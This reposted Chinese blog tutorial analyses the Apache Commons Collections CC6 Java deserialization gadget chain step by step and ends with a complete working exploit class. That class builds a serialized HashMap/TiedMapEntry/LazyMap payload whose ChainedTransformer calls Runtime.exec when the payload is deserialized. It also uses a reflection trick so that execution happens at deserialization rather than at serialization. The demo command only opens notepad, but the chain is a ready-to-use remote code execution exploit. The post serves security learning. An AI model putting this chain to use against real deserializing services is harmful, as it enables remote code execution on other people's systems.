当前位置:   article > 正文

java反序列化 cc链6 分析_java cc6

java cc6

前言

这里分析完cc1的两个以后,白日梦佬又介绍了cc6链,最主要的是这个链子不受jdk的版本影响,甚至不受cs版本的影响,这么说就是cs大部分都是可以使用cc链6,而且这个链子要简洁的很多,我一听这个好啊,哈哈哈。

但是后面我感觉自己被欺骗了65出了一点问题。

环境搭建

这里可以参考上面cc1链

java反序列化 cc链1 分析

链子分析 

利用第一阶段

这里就直接跨到这里了,不知道的可以看看上面的cc链1,里面有说

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  6. };
  7. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这里我们还是使用LazyMap的get方法来往上爬,首先我们要知道既然有了可以恶意代码执行的地方,我们就还需要可以走上去的地方,这里还是需要具有transfrom方法的类,但是这时候目标就变了,我们需要的是能够触发transfrom的类。

这里我们随便找一个transform方法,右键选择查找用法

上面我们使用了TransformedMap,但是他不只可以使用这个,这里还可以使用LazyMap类,这里通过F4直接查看

这里的意思就是,检测map中的键值有没有包含我们传入的这个key,如果没有就会进入判断,生成一个value,写进去一个键值对

这里来到上面我们可以看到,这里构造函数,我们可以任意控制factory的值,但是这里是一个受保护的方法,只能本类调用,这里往上看看。

这里我们发现,我们可以通过使用decorate方法,来控制factory的值

这里我们测试一下上面的思路对不对,因为上面的我们已经搞过一条链子了,这里我们就直接使用ChainedTransformer了,这里我们给get方法随便传入一个值,这个hash中肯定是没有key这个键值的,这里我看到了果然是触发了记事本,自己可以试试。

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  6. };
  7. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  8. HashMap<Object,Object> hash = new HashMap<>();
  9. Map decorate = LazyMap.decorate(hash, chainedTransformer);
  10. decorate.get("key");

利用第二阶段-TiedMapEntry

接下来我们查看到org.apache.commons.collections.keyvalue.TiedMapEntry中

 

这里我们看到他的getValue方法

 这里我们发现,他是触发了get方法,这里往上看看map的值我们能控制吗。

这里在上面看到了,这个类构造函数,这里我们可以看到map的值,我们是可以任意控制,那么接下来看看那里是触发了getValue方法

这里我们在下面的hashCode方法中看到,他是触发了getValue方法,但是一看到这个hashCode是不是就想到URLDNS链,这两个有着异曲同工之妙,所以说它才可以更好利用,忘记的可以看看URLDNS链
下面我们先手动触发一下看看

  1. Transformer[] transformers = new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  6. };
  7. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  8. HashMap<Object,Object> hash = new HashMap<>();
  9. Map decorate = LazyMap.decorate(hash, chainedTransformer);
  10. TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,null);
  11. tiedMapEntry.hashCode();

利用第三阶段-HashMap

接下来就是如何触发hashCode方法,说实在一说到这个,相信大家一定都可以想到HashMap吧,我们可以按照触发URLDNS链子一样触发他。

这里我们看到HashMap的源码,在hash方法这里,我们看到他是触发了hashCode方法,这里的是一个三元运算符,只要我们传进来的值不是null或者是空,他就会触发hashCode方法,还是挺好实现的。

从这里HashMap的readObject方法中,我们可以看到他是触发了hash方法,key值我们是可以控制的。

这里其实链子已经好了,很简便对吧,和前面两个相对而言真的已经非常简单了。

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.io.IOException;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.nio.file.Files;
  11. import java.nio.file.Paths;
  12. import java.util.HashMap;
  13. import java.util.Map;
  14. public class Cc6 {
  15. public static void main(String[] args) throws IOException, ClassNotFoundException {
  16. //定义一系列Transformer对象,组成一个变换链
  17. Transformer[] transformers = new Transformer[]{
  18. //返回Runtime.class
  19. new ConstantTransformer(Runtime.class),
  20. //通过反射调用getRuntime()方法获取Runtime对象
  21. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  22. //通过反射调用invoke()方法
  23. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  24. //通过反射调用exec()方法启动notepad
  25. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  26. };
  27. //将多个Transformer对象组合成一个链
  28. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  29. HashMap<Object,Object> hash = new HashMap<>();
  30. Map decorate = LazyMap.decorate(hash, chainedTransformer);
  31. TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"bbb");
  32. HashMap hashMap = new HashMap();
  33. hashMap.put(tiedMapEntry,"aaa");
  34. serialize(hashMap);
  35. unserialize("1.bin");
  36. }
  37. public static void serialize(Object obj) throws IOException {
  38. ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
  39. out.writeObject(obj);
  40. }
  41. public static void unserialize(String filename) throws IOException, ClassNotFoundException {
  42. ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
  43. out.readObject();
  44. }
  45. }

利用第四阶段

问题:上面使用这串exp的应该都发现,他是执行了1次,但不是反序列化的时候执行,而且是在序列化的时候执行,单独执行反序列化就会发现,他也会执行一次记事本,但是为什么反序列化和序列化放到一起就只能执行一次呢?

这里就是说他有这和URLDNS链相似的问题,但是说好像也不是不能用。

跟进HashMap对象的put方法

这里我们发现,他也是调用了hash方法,这里我们可以修改上面东西,让他触发链子不完整,就不会执行恶意代码了,在通过反射在进入序列化之前,将链子补完整

这里我们将上面的链子,我们将上面的链子断掉,在最后的时候在修改回来,按照正常来说,这个是没有问题,但是之后发现是没有运行了,这里分析一下

在他进入的时候,因为他是没有key的,所以肯定是可以进入判断的,然后触发transform方法,但是她下面还有一个put方法,就是将这个没有的写进去,所以我们再进行反序列化的时候,他会检测我们传进来的key有没有,这里肯定是有的因为他put已经写进来了,所以我们要将他删除。

  1. //完整exp
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections.map.LazyMap;
  8. import java.io.IOException;
  9. import java.io.ObjectInputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.reflect.Field;
  12. import java.nio.file.Files;
  13. import java.nio.file.Paths;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class Cc6 {
  17. public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  18. //定义一系列Transformer对象,组成一个变换链
  19. Transformer[] transformers = new Transformer[]{
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
  22. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  23. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"})
  24. };
  25. //将多个Transformer对象组合成一个链
  26. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
  27. HashMap<Object,Object> hash = new HashMap<>();
  28. Map<Object,Object> ladecorate = LazyMap.decorate(hash, new ConstantTransformer(1));
  29. TiedMapEntry tiedMapEntry = new TiedMapEntry(ladecorate,"aaa");
  30. HashMap<Object,Object> hashMap = new HashMap<>();
  31. hashMap.put(tiedMapEntry,"bbb");
  32. hash.remove("aaa");
  33. Class c = LazyMap.class;
  34. Field declaredField = c.getDeclaredField("factory");
  35. declaredField.setAccessible(true);
  36. declaredField.set(ladecorate,chainedTransformer);
  37. serialize(hashMap);
  38. unserialize("1.bin");
  39. }
  40. public static void serialize(Object obj) throws IOException {
  41. ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
  42. out.writeObject(obj);
  43. }
  44. public static void unserialize(String filename) throws IOException, ClassNotFoundException {
  45. ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
  46. out.readObject();
  47. }
  48. }

结语

感觉第三阶段的,也可以用吧,不是不能接收对吧,然后我再调试的时候确实遇到一些问题,其中有的玄学问题到现在都没有解决,但是有一个是解决了

关于IDEA在debug时私自调用toString()方法的问题_idea怎么调用tostring方法_lkforce的博客-CSDN博客

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/694740
推荐阅读
相关标签
  

闽ICP备14008679号